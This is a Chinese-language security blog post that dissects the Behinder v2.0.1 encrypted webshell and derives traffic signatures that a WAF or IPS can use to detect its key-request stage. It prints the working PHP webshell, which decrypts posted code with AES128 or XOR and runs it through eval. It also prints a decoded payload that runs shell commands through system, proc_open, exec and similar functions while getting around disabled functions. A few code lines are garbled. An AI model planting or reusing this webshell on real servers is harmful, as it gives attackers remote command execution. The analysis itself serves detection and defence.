中國菜刀等工具管理WebShell的時候會有一些固定的特征,容易被waf或者IPS檢測到,最近1年出來了個動态加密的WebShell管理工具,給檢測帶來了一定的困難,是以寫個文章簡單解剖一下
注:本文隻針對目前的最新版冰蠍(Behinder) v2.0.1,以php webshell為例,其他webshell隻是有細微的差别,有興趣可以自行研究
實驗環境用戶端: windows 7 + 冰蠍(Behinder) v2.0.1
服務端:ubuntu 16.04 + apache + php
webshell檔案分析
以php為例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p) {eval($p."");}}
@new C($params);
}
?>
其實就兩個功能
1、首先存在pass參數的情況(其實這個就是通常所說的一句話木馬),就是通過截取随機數的md5的高16位作為密鑰,儲存在伺服器的全局 $_SESSION變量中,同時列印出來,這樣用戶端接收到就可以用這個密鑰進行通信了
2、假如不帶參數,就是加密通信的過程。假如php不存在openssl這個extension,就是用base64解碼後,使用key進行循環異或解密。而存在openssl就使用AES128進行解密
基于上面分析可以得到通信流程
下面我們看看實際通信流量
資料包分析
通過在伺服器上傳webshell,用戶端連接配接後通過wireshark抓取資料包
可以看到請求了兩次密鑰才開始真正的POST通信
接下來的通信,就是AES128加密後的base64密文
是以我們檢測隻能從請求密鑰階段入手了
通過擷取密鑰的資料包,我們發現以下特征
1、使用GET方法
2、參數名即木馬的密碼(這個可以修改,不能作為特征),但是參數值為純數字可以作為特征,暫時來看應該1到5位數字可以比對到了,保險一點可以1-8都可以
3、請求中有HEADER字段:Content-type: application/x-www-form-urlencoded
4、響應中會有Content-Length: 16
5、當然響應的body肯定也是16長度,而且字元是16進制的字元,即[0-9a-f]
通信過程實際發送的payload
通過在webshell中加入如下代碼,即可獲得解密後的payload
獲得的如下:(由于base64_decode後面的比較長是以省略了)
1assert|eval(base64_decode('QGVycm9yX3JlcG9ydGluZygwKTsNCg0KZnVuY..............................'));
是以它就是将字元串base64解密之後通過eval執行
解碼上面的base64串得到下面真正的代碼(下面是以指令執行為例的代碼)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
[email protected]_reporting(0);
function getSafeStr($str){
$s1 = iconv('utf-8','gbk//IGNORE',$str);
$s0 = iconv('gbk','utf-8//IGNORE',$s1);
if($s0 == $str){
return $s0;
}else{
return iconv('gbk','utf-8//IGNORE',$str);
}
}
function main($cmd)
{
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
$result = array();
$PadtJn = @ini_get('disable_functions');
if (! empty($PadtJn)) {
$PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
$PadtJn = explode(',', $PadtJn);
$PadtJn = array_map('trim', $PadtJn);
} else {
$PadtJn = array();
}
$c = $cmd;
if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
$c = $c . " 2>&1\n";
}
$JueQDBH = 'is_callable';
$Bvce = 'in_array';
if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
ob_start();
system($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
$handle = proc_open($c, array(
array(
'pipe',
'r'
),
array(
'pipe',
'w'
),
array(
'pipe',
'w'
)
), $pipes);
$kWJW = NULL;
while (! feof($pipes[1])) {
$kWJW .= fread($pipes[1], 1024);
}
@proc_close($handle);
} else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
ob_start();
passthru($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
$kWJW = shell_exec($c);
} else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
$kWJW = array();
exec($c, $kWJW);
$kWJW = join(chr(10), $kWJW) . chr(10);
} else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
$fp = popen($c, 'r');
$kWJW = NULL;
if (is_resource($fp)) {
while (! feof($fp)) {
$kWJW .= fread($fp, 1024);
}
}
@pclose($fp);
} else {
$kWJW = 0;
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
$key = $_SESSION['k'];
echo encrypt(json_encode($result), $key);
return;
}
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(getSafeStr($kWJW));
echo encrypt(json_encode($result), $_SESSION['k']);
}
function encrypt($data,$key)
{
if(!extension_loaded('openssl'))
{
for($i=0;$i
$data[$i] = $data[$i]^$key[$i+1&15];
}
return $data;
}
else
{
return openssl_encrypt($data, "AES128", $key);
}
}$cmd="whoami";
main($cmd);
可以看到考慮了編碼問題,還有一些執行指令的函數被禁用的問題
最後輸出結構也是AES128加密的
工具每次隻需倒數第二行的$cmd即可更換要執行的指令
總結
攻防是不斷對抗更新的,冰蠍雖然通信過程加密,但是請求密鑰階段有很多特征,假如将請求密鑰階段特征抹掉,那麼我們防禦端會更加難以檢查。